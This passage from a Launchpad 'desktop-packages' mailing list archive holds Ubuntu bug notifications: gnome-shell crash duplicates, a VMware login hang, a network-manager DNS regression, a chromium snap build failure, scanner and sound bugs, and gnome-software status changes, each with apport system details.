ProblemType: Crash
DistroRelease: Ubuntu 18.10
Package: gnome-shell 3.30.0-3ubuntu1
ProcVersionSignature: Ubuntu 4.18.0-8.9-generic 4.18.7
Uname: Linux 4.18.0-8-generic x86_64
NonfreeKernelModules: nvidia_modeset nvidia
ApportVersion: 2.20.10-0ubuntu11
Architecture: amd64
CurrentDesktop: ubuntu:GNOME
Date: Wed Oct 3 10:37:08 2018
DisplayManager: gdm3
ExecutablePath: /usr/bin/gnome-shell
GsettingsChanges:
b'org.gnome.shell' b'had-bluetooth-devices-setup' b'true'
b'org.gnome.desktop.interface' b'gtk-im-module' b"'gtk-im-context-simple'"
b'org.gnome.desktop.interface' b'show-battery-percentage' b'true'
b'org.gnome.desktop.interface' b'clock-show-date' b'true'
InstallationDate: Installed on 2018-03-28 (188 days ago)
InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180325)
ProcCmdline: /usr/bin/gnome-shell
ProcEnviron:
PATH=(custom, user)
XDG_RUNTIME_DIR=
LANG=en_US.UTF-8
SHELL=/bin/bash
Signal: 6
SourcePackage: gnome-shell
StacktraceTop:
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
__GI_abort () at abort.c:79
?? () from /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
g_assertion_message_expr () from /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
meta_window_unmanage () from /usr/lib/x86_64-linux-gnu/libmutter-3.so.0
Title: gnome-shell crashed with SIGABRT in __GI_raise()
UpgradeStatus: Upgraded to cosmic on 2018-10-01 (1 days ago)
UserGroups: adm cdrom dip docker kvm lpadmin plugdev sambashare sudo
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1795948/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1759161] Re: gnome-shell crashed with SIGABRT in __GI_raise() from __GI_abort() from g_assertion_message() from g_assertion_message("assertion failed: (window->display->focus_w
*** This bug is a duplicate of bug 1422253 ***
https://bugs.launchpad.net/bugs/1422253
** This bug is no longer a duplicate of bug 1791574
gnome-shell crashed with SIGABRT: assertion failed
"window->display->focus_window != window" in meta_window_unmanage
** This bug has been marked a duplicate of bug 1422253
gnome-shell crashed with SIGABRT in g_assertion_message("assertion failed:
(window->display->focus_window != window)") from g_assertion_message_expr()
from meta_window_unmanage() from handle_other_xevent()
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-shell in Ubuntu.
https://bugs.launchpad.net/bugs/1759161
Title:
gnome-shell crashed with SIGABRT in __GI_raise() from __GI_abort()
from g_assertion_message() from g_assertion_message("assertion failed:
(window->display->focus_window != window)") from handle_other_xevent()
from meta_display_handle_xevent()
Status in gnome-shell package in Ubuntu:
Confirmed
Status in mutter package in Ubuntu:
Confirmed
Bug description:
The Ubuntu Error Tracker has been receiving reports about a problem regarding
gnome-shell. This problem was most recently seen with package version
3.27.92-0ubuntu1, the problem page at
https://errors.ubuntu.com/problem/00a2204e1f8bce5a7c5be0da612599dc10222341
contains more details, including versions of packages affected, stacktrace or
traceback, and individual crash reports.
If you do not have access to the Ubuntu Error Tracker and are a software
developer, you can request it at http://forms.canonical.com/reports/.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1759161/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1796609] Re: gnome-shell crashed with SIGABRT
*** This bug is a duplicate of bug 1422253 ***
https://bugs.launchpad.net/bugs/1422253
** This bug is no longer a duplicate of bug 1791574
gnome-shell crashed with SIGABRT: assertion failed
"window->display->focus_window != window" in meta_window_unmanage
** This bug has been marked a duplicate of bug 1422253
gnome-shell crashed with SIGABRT in g_assertion_message("assertion failed:
(window->display->focus_window != window)") from g_assertion_message_expr()
from meta_window_unmanage() from handle_other_xevent()
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-shell in Ubuntu.
https://bugs.launchpad.net/bugs/1796609
Title:
gnome-shell crashed with SIGABRT
Status in gnome-shell package in Ubuntu:
New
Bug description:
This happened shortly after I removed a kernel with ukuu-gtk, just
after I pressed the 'Close' button on the ukuu-gtk dialog window.
ProblemType: Crash
DistroRelease: Ubuntu 18.10
Package: gnome-shell 3.30.0-3ubuntu1
Uname: Linux 4.19.0-041900rc7-generic x86_64
ApportVersion: 2.20.10-0ubuntu11
Architecture: amd64
CurrentDesktop: ubuntu:GNOME
Date: Mon Oct 8 09:21:50 2018
DisplayManager: gdm3
EcryptfsInUse: Yes
ExecutablePath: /usr/bin/gnome-shell
ExecutableTimestamp: 1538397942
InstallationDate: Installed on 2017-08-16 (417 days ago)
InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release amd64 (20170412)
ProcCmdline: /usr/bin/gnome-shell
ProcCwd: /home/rocko
ProcEnviron:
LANGUAGE=en_AU:en
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=en_AU.UTF-8
SHELL=/bin/bash
Signal: 6
SourcePackage: gnome-shell
StacktraceTop:
() at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
g_assertion_message_expr () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
meta_window_unmanage () at /usr/lib/x86_64-linux-gnu/libmutter-3.so.0
() at /usr/lib/x86_64-linux-gnu/libmutter-3.so.0
() at /usr/lib/x86_64-linux-gnu/libmutter-3.so.0
Title: gnome-shell crashed with SIGABRT
UpgradeStatus: Upgraded to cosmic on 2018-08-15 (53 days ago)
UserGroups: adm bumblebee cdrom dip kvm lpadmin plugdev sambashare sudo
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1796609/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832138] Re: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it
I have applied the good fix on top of current branch 4.15.0-53.57 --- c6d53184e8b8 drm/vmwgfx: Send the correct nonblock option for atomic_commit c78b765c2de0 UBUNTU: Ubuntu-4.15.0-53.57 --- Build the kernel and I got the same problem still. Need to investigate why it works fine using upstream when that good commit but still get the situation with Ubuntu kernel + the same good commit. I'll do more testing. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mutter in Ubuntu. https://bugs.launchpad.net/bugs/1832138 Title: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it Status in linux package in Ubuntu: Invalid Status in mutter package in Ubuntu: Invalid Status in linux source package in Bionic: In Progress Status in mutter source package in Bionic: Incomplete Status in linux source package in Eoan: Invalid Status in mutter source package in Eoan: Invalid Bug description: I'm running Ubuntu 18.04.2 desktop in a virtual machine under VMWare Fusion Pro V11.1.0 on MacOS Mojave 10.14.5, all on a 15inch 2018 Macbook Pro. I've been running this Ubuntu 18.04.2 VM without problem for many months without problem. Yesterday, I did 'sudo apt update; sudo apt upgrade'. Upon rebooting, the system hangs immediately after displaying the splash screen. I never see a login screen. And I can't use Ctrl+Alt+F2 to navigate to a console/tty login. I can SSH into the system however. I've found that I can work around the hang/freeze if I uncomment the following line in /etc/gdm3/custom.conf; #WaylandEnable=false After uncommenting the WaylandEnable=false line and rebooting, then I see the login prompt as expected and I can then log in and use the system normally again. After the 'apt upgrade' my system is running linux kernel 4.15.0-51, as shown in this 'uname -a' output; Linux ubuntuvm1 4.15.0-51-generic #55-Ubuntu SMP Wed May 15 14:27:21 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux lsb_release -a output; No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.2 LTS Release: 18.04 Codename: bionic ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-51.55-generic 4.15.18 Uname: Linux 4.15.0-51-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.6 Architecture: amd64 CompositorRunning: None Date: Sun Jun 9 12:38:37 2019 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GpuHangFrequency: This is the first time GraphicsCard: VMware SVGA II Adapter [15ad:0405] (prog-if 00 [VGA controller]) Subsystem: VMware SVGA II Adapter [15ad:0405] InstallationDate: Installed on 2018-05-06 (399 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: VMware, Inc. VMware Virtual Platform ProcEnviron: TERM=xterm-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-51-generic root=/dev/mapper/ubuntu--vg-root ro splash net.ifnames=0 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/13/2018 dmi.bios.vendor: Phoenix Technologies LTD dmi.bios.version: 6.00 dmi.board.name: 440BX Desktop Reference Platform dmi.board.vendor: Intel Corporation dmi.board.version: None dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 1 dmi.chassis.vendor: No Enclosure dmi.chassis.version: N/A dmi.modalias: dmi:bvnPhoenixTechnologiesLTD:bvr6.00:bd04/13/2018:svnVMware,Inc.:pnVMwareVirtualPlatform:pvrNone:rvnIntelCorporation:rn440BXDesktopReferencePlatform:rvrNone:cvnNoEnclosure:ct1:cvrN/A: dmi.product.name: VMware Virtual Platform dmi.product.version: None dmi.sys.vendor: VMware, Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.95-1~18.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.8-0ubuntu0~18.04.2 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.8-0ubuntu0~18.04.2 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1832138/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1829566] Re: network-manager 1.10.14-0ubuntu2 ignores systemd-resolved configured dns
** Changed in: network-manager (Ubuntu Bionic) Assignee: (unassigned) => Till Kamppeter (till-kamppeter) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1829566 Title: network-manager 1.10.14-0ubuntu2 ignores systemd-resolved configured dns Status in network-manager package in Ubuntu: Triaged Status in network-manager source package in Bionic: Triaged Bug description: On 18.04.2 the `upgrade network-manager:amd64 1.10.6-2ubuntu1.1 1.10.14-0ubuntu2` lead to scoped DNS servers defined in `/etc/systemd/resolved.conf.d/*.conf` being ignored. Downgrading with `sudo apt-get install network- manager=1.10.6-2ubuntu1.1` has resolved the issue for now. Example systemd-resolved conf: [Resolve] Cache=no DNS=127.0.0.54 Domains=~.local.org.com Where 127.0.0.54:53 is bound to a dnsmasq server capable of resolving queries in that subdomain. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1829566/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832656] Re: chromium-browser deb->snap transition breaks ubuntukylin image builds
I have opened and closed the stable/ubuntu-19.10 channel, all 4 supported architectures were published there. Please let me know if anything else is needed to make the preseeding work on Kylin. ** Changed in: chromium-browser (Ubuntu Eoan) Status: New => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to chromium-browser in Ubuntu. https://bugs.launchpad.net/bugs/1832656 Title: chromium-browser deb->snap transition breaks ubuntukylin image builds Status in chromium-browser package in Ubuntu: Fix Released Status in livecd-rootfs package in Ubuntu: Triaged Status in ubuntukylin-meta package in Ubuntu: Fix Released Status in chromium-browser source package in Eoan: Fix Released Status in livecd-rootfs source package in Eoan: Triaged Status in ubuntukylin-meta source package in Eoan: Fix Released Bug description: From https://launchpad.net/~ubuntu- cdimage/+livefs/ubuntu/eoan/ubuntukylin/+build/169881: Preparing to unpack .../000-chromium-browser_75.0.3770.80-0ubuntu1~snap2_amd64.deb ... => Installing the chromium snap ==> Checking connectivity with the snap store ===> Unable to contact the store, trying every minute for the next 30 minutes ===> Still unable to contact the store, trying for another 20 minutes ===> Still unable to contact the store, trying for another 10 minutes ===> Still unable to contact the store, aborting dpkg: error processing archive /tmp/apt-dpkg-install-43SUPL/000-chromium-browser_75.0.3770.80-0ubuntu1~snap2_amd64.deb (--unpack): new chromium-browser package pre-installation script subprocess returned error exit status 1 It is possible that the flavors should switch to seeding the snap instead of the deb. However, it's unclear to me why the deb is failing to talk to the Snap Store, because seeding of snaps DOES work from within image builds. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/chromium-browser/+bug/1832656/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833247] [NEW] Libsane-hpaio returns invalid data and makes sane frontend crash
Public bug reported: In some cases libsane-hpaio returns invalid data as the scanned image and makes sane frontend (xsane) crash. I have seen it with an HP 6950 all-in-one inkjet and now I am seeing it again with HP Color Laserjet Pro M281. Returning of invalid data is reproducible by selecting 'lineart' scanning mode + 'None' as the compression. ProblemType: Bug DistroRelease: Ubuntu 19.04 Package: libsane-hpaio 3.19.1+dfsg0-1 ProcVersionSignature: Ubuntu 5.0.0-16.17-generic 5.0.8 Uname: Linux 5.0.0-16-generic x86_64 ApportVersion: 2.20.10-0ubuntu27 Architecture: amd64 CupsErrorLog: W [18/Jun/2019:08:36:15 +0200] CreateProfile failed: org.freedesktop.ColorManager.AlreadyExists:profile id \'HP_Color_LaserJet_MFP_M281fdw_DACB6D_-Gray..\' already exists W [18/Jun/2019:08:36:15 +0200] CreateProfile failed: org.freedesktop.ColorManager.AlreadyExists:profile id \'HP_Color_LaserJet_MFP_M281fdw_DACB6D_-DeviceN..\' already exists W [18/Jun/2019:13:16:45 +0200] CreateProfile failed: org.freedesktop.ColorManager.AlreadyExists:profile id \'HP_Color_LaserJet_MFP_M281fdw_DACB6D_-Gray..\' already exists W [18/Jun/2019:13:16:45 +0200] CreateProfile failed: org.freedesktop.ColorManager.AlreadyExists:profile id \'HP_Color_LaserJet_MFP_M281fdw_DACB6D_-DeviceN..\' already exists E [18/Jun/2019:13:30:22 +0200] [Client 17] Returning IPP client-error-bad-request for Create-Printer-Subscriptions (/) from localhost. CurrentDesktop: KDE Date: Tue Jun 18 15:29:51 2019 EcryptfsInUse: Yes InstallationDate: Installed on 2013-12-12 (2013 days ago) InstallationMedia: Kubuntu 13.10 "Saucy Salamander" - Release amd64 (20131016.1) MachineType: Notebook W740SU Papersize: a4 ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.0.0-16-generic root=/dev/mapper/zagar_ssd--vg-root ro quiet splash resume=/dev/zagar_ssd-vg/swap_1 acpi_backlight=vendor vt.handoff=1 SourcePackage: hplip UpgradeStatus: Upgraded to disco on 2019-06-12 (5 days ago) dmi.bios.date: 10/02/2013 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 4.6.5 dmi.board.asset.tag: Tag 12345 dmi.board.name: W740SU dmi.board.vendor: Notebook dmi.board.version: Not Applicable dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 9 dmi.chassis.vendor: Notebook dmi.chassis.version: N/A dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr4.6.5:bd10/02/2013:svnNotebook:pnW740SU:pvrNotApplicable:rvnNotebook:rnW740SU:rvrNotApplicable:cvnNotebook:ct9:cvrN/A: dmi.product.family: Not Applicable dmi.product.name: W740SU dmi.product.sku: Not Applicable dmi.product.version: Not Applicable dmi.sys.vendor: Notebook ** Affects: hplip (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug disco -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to hplip in Ubuntu. https://bugs.launchpad.net/bugs/1833247 Title: Libsane-hpaio returns invalid data and makes sane frontend crash Status in hplip package in Ubuntu: New Bug description: In some cases libsane-hpaio returns invalid data as the scanned image and makes sane frontend (xsane) crash. I have seen it with an HP 6950 all-in-one inkjet and now I am seeing it again with HP Color Laserjet Pro M281. Returning of invalid data is reproducible by selecting 'lineart' scanning mode + 'None' as the compression. ProblemType: Bug DistroRelease: Ubuntu 19.04 Package: libsane-hpaio 3.19.1+dfsg0-1 ProcVersionSignature: Ubuntu 5.0.0-16.17-generic 5.0.8 Uname: Linux 5.0.0-16-generic x86_64 ApportVersion: 2.20.10-0ubuntu27 Architecture: amd64 CupsErrorLog: W [18/Jun/2019:08:36:15 +0200] CreateProfile failed: org.freedesktop.ColorManager.AlreadyExists:profile id \'HP_Color_LaserJet_MFP_M281fdw_DACB6D_-Gray..\' already exists W [18/Jun/2019:08:36:15 +0200] CreateProfile failed: org.freedesktop.ColorManager.AlreadyExists:profile id \'HP_Color_LaserJet_MFP_M281fdw_DACB6D_-DeviceN..\' already exists W [18/Jun/2019:13:16:45 +0200] CreateProfile failed: org.freedesktop.ColorManager.AlreadyExists:profile id \'HP_Color_LaserJet_MFP_M281fdw_DACB6D_-Gray..\' already exists W [18/Jun/2019:13:16:45 +0200] CreateProfile failed: org.freedesktop.ColorManager.AlreadyExists:profile id \'HP_Color_LaserJet_MFP_M281fdw_DACB6D_-DeviceN..\' already exists E [18/Jun/2019:13:30:22 +0200] [Client 17] Returning IPP client-error-bad-request for Create-Printer-Subscriptions (/) from localhost. CurrentDesktop: KDE Date: Tue Jun 18 15:29:51 2019 EcryptfsInUse: Yes InstallationDate: Installed on 2013-12-12 (2013 days ago) InstallationMedia: Kubuntu 13.10 "Saucy Salamander" - Release amd64 (20131016.1) MachineType: Notebook W740SU Papersize: a4 ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.0.0-16-generic root=/dev/mapper/zagar_ssd--vg-root ro quiet splash resume=/dev/zagar_ssd-vg/swap_1 acpi_backlight=vendor vt.handoff=1 SourcePackage: hplip UpgradeStatus: Upgraded to disco on 2019-06-12 (5 days ago) dmi.bios.date: 10/02/201
[Desktop-packages] [Bug 1833161] Re: [HDA-Intel - HDA Intel PCH, playback] No sound at all
To test the patch of #4, please install the ubuntu-5.0 kernel, then add "options snd-hda-intel model=clevo-p950" -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1833161 Title: [HDA-Intel - HDA Intel PCH, playback] No sound at all Status in alsa-driver package in Ubuntu: New Bug description: Hello to all, My Ubuntu version is 18.04.02 LTS and I've setup a dual-boot with windows 10. Speakers and audio jack work totally fine under Windows 10, but they never work with Ubuntu. List of some of the things I've tried: 1) I've tried all the steps from the "Sound Troubleshooting Procedure" 2) I've tried installing the "oem-audio-hda-daily-dkms" package; 3) I've tried to install/remove/reinstall alsa-base, alsa-utils, pulseaudio, pavucontrol many times 4) I've played with the options in the file /etc/modprobe.d/alsa-base.conf: a) I've tried to add "options snd-hda-intel model=auto" and I also tried different models: auto, clevo, laptop-eapd, clevo m-720, generic, basic and even z71v position_fix=1. 5) I've tried adding : Code: [General] description = Headphones + Digital Output (S/PDIF) in the file "/usr/share/pulseaudio/alsa-mixer/paths/iec958-stereo-output.conf" 6) I've even tried a live USB stick with Ubuntu 19.04 (after reading somewhere that this was fixed on 19.04), but I found out that there was no sound on Ubuntu 19.04 as well. Also, you can find my ALSA information here: http://alsa- project.org/db/?f=bcdf5c8be31ce8b9e848a29ef292e9125f26def0 ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.18.0-22.23~18.04.1-generic 4.18.20 Uname: Linux 4.18.0-22-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.6 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: jproberge 1737 F pulseaudio /dev/snd/controlC0: jproberge 1737 F pulseaudio CurrentDesktop: ubuntu:GNOME Date: Mon Jun 17 20:37:29 2019 InstallationDate: Installed on 2019-06-15 (2 days ago) InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 (20190210) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH failed Symptom_Card: HDA NVidia - HDA NVidia Symptom_DevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: gdm1236 F pulseaudio jproberge 1737 F pulseaudio /dev/snd/controlC0: gdm1236 F pulseaudio jproberge 1737 F pulseaudio Symptom_Type: No sound at all Title: [HDA-Intel - HDA Intel PCH, playback] No sound at all UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 05/07/2019 dmi.bios.vendor: INSYDE Corp. dmi.bios.version: 1.07.08P dmi.board.asset.tag: Tag 12345 dmi.board.name: P95_96_97Ex,Rx dmi.board.vendor: Notebook dmi.board.version: Not Applicable dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: Notebook dmi.chassis.version: N/A dmi.modalias: dmi:bvnINSYDECorp.:bvr1.07.08P:bd05/07/2019:svnNotebook:pnP95_96_97Ex,Rx:pvrNotApplicable:rvnNotebook:rnP95_96_97Ex,Rx:rvrNotApplicable:cvnNotebook:ct10:cvrN/A: dmi.product.family: Not Applicable dmi.product.name: P95_96_97Ex,Rx dmi.product.sku: Not Applicable dmi.product.version: Not Applicable dmi.sys.vendor: Notebook To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1833161/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833161] Re: [HDA-Intel - HDA Intel PCH, playback] No sound at all
Probably you machine needs this patch: commit 0202f5cd9aab127355f6b1de74058a670424d48a Author: Peisen Date: Thu Oct 26 10:35:36 2017 +0800 ALSA: hda/realtek - Add support for ALC1220 Add Clevo-P51 mode support for ALC1220. ALC1220 Clevo-p51 Speaker uses I2S output. We therefore want to make sure 0x14 (Headphones) and 0x1b (Speakers) use to stereo DAC 0x02. Signed-off-by: Peisen Hou Signed-off-by: Takashi Iwai -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1833161 Title: [HDA-Intel - HDA Intel PCH, playback] No sound at all Status in alsa-driver package in Ubuntu: New Bug description: Hello to all, My Ubuntu version is 18.04.02 LTS and I've setup a dual-boot with windows 10. Speakers and audio jack work totally fine under Windows 10, but they never work with Ubuntu. List of some of the things I've tried: 1) I've tried all the steps from the "Sound Troubleshooting Procedure" 2) I've tried installing the "oem-audio-hda-daily-dkms" package; 3) I've tried to install/remove/reinstall alsa-base, alsa-utils, pulseaudio, pavucontrol many times 4) I've played with the options in the file /etc/modprobe.d/alsa-base.conf: a) I've tried to add "options snd-hda-intel model=auto" and I also tried different models: auto, clevo, laptop-eapd, clevo m-720, generic, basic and even z71v position_fix=1. 5) I've tried adding : Code: [General] description = Headphones + Digital Output (S/PDIF) in the file "/usr/share/pulseaudio/alsa-mixer/paths/iec958-stereo-output.conf" 6) I've even tried a live USB stick with Ubuntu 19.04 (after reading somewhere that this was fixed on 19.04), but I found out that there was no sound on Ubuntu 19.04 as well. Also, you can find my ALSA information here: http://alsa- project.org/db/?f=bcdf5c8be31ce8b9e848a29ef292e9125f26def0 ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.18.0-22.23~18.04.1-generic 4.18.20 Uname: Linux 4.18.0-22-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.6 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: jproberge 1737 F pulseaudio /dev/snd/controlC0: jproberge 1737 F pulseaudio CurrentDesktop: ubuntu:GNOME Date: Mon Jun 17 20:37:29 2019 InstallationDate: Installed on 2019-06-15 (2 days ago) InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 (20190210) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH failed Symptom_Card: HDA NVidia - HDA NVidia Symptom_DevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: gdm1236 F pulseaudio jproberge 1737 F pulseaudio /dev/snd/controlC0: gdm1236 F pulseaudio jproberge 1737 F pulseaudio Symptom_Type: No sound at all Title: [HDA-Intel - HDA Intel PCH, playback] No sound at all UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 05/07/2019 dmi.bios.vendor: INSYDE Corp. dmi.bios.version: 1.07.08P dmi.board.asset.tag: Tag 12345 dmi.board.name: P95_96_97Ex,Rx dmi.board.vendor: Notebook dmi.board.version: Not Applicable dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: Notebook dmi.chassis.version: N/A dmi.modalias: dmi:bvnINSYDECorp.:bvr1.07.08P:bd05/07/2019:svnNotebook:pnP95_96_97Ex,Rx:pvrNotApplicable:rvnNotebook:rnP95_96_97Ex,Rx:rvrNotApplicable:cvnNotebook:ct10:cvrN/A: dmi.product.family: Not Applicable dmi.product.name: P95_96_97Ex,Rx dmi.product.sku: Not Applicable dmi.product.version: Not Applicable dmi.sys.vendor: Notebook To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1833161/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1806697] Re: Status of interface connections not properly updated in the UI
Not going to be SRUed to cosmic which is neither nor a LTS nor the current stable version ** Changed in: gnome-software (Ubuntu Cosmic) Status: Triaged => Won't Fix -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-software in Ubuntu. https://bugs.launchpad.net/bugs/1806697 Title: Status of interface connections not properly updated in the UI Status in gnome-software package in Ubuntu: Fix Released Status in gnome-software source package in Xenial: Triaged Status in gnome-software source package in Bionic: Triaged Status in gnome-software source package in Cosmic: Won't Fix Status in gnome-software source package in Disco: Triaged Status in gnome-software source package in Eoan: Fix Released Bug description: Steps to reproduce the problem: 1. Go to the Chromium snap store page by e.g. right clicking on its icon and selecting Show details and then the specific app. 2. Press the Permissions button. 3. Press/slide the Read/write files on removable storage devices slider. 4. Close the permissions and the store window. 5. Reopen the windows. 6. The permission should be enabled, but it isn't. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-software/+bug/1806697/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1819558] Re: Snap interfaces: openvswitch interface has typo
Not going to be SRUed to cosmic which is neither nor a LTS nor the current stable version ** Changed in: gnome-software (Ubuntu Cosmic) Status: Fix Committed => Won't Fix -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-software in Ubuntu. https://bugs.launchpad.net/bugs/1819558 Title: Snap interfaces: openvswitch interface has typo Status in gnome-software package in Ubuntu: Fix Released Status in gnome-software source package in Xenial: Fix Committed Status in gnome-software source package in Bionic: Fix Committed Status in gnome-software source package in Cosmic: Won't Fix Status in gnome-software source package in Disco: Fix Committed Bug description: Typo'd as openvtswitch To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-software/+bug/1819558/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1831827] Re: Update to 1.48
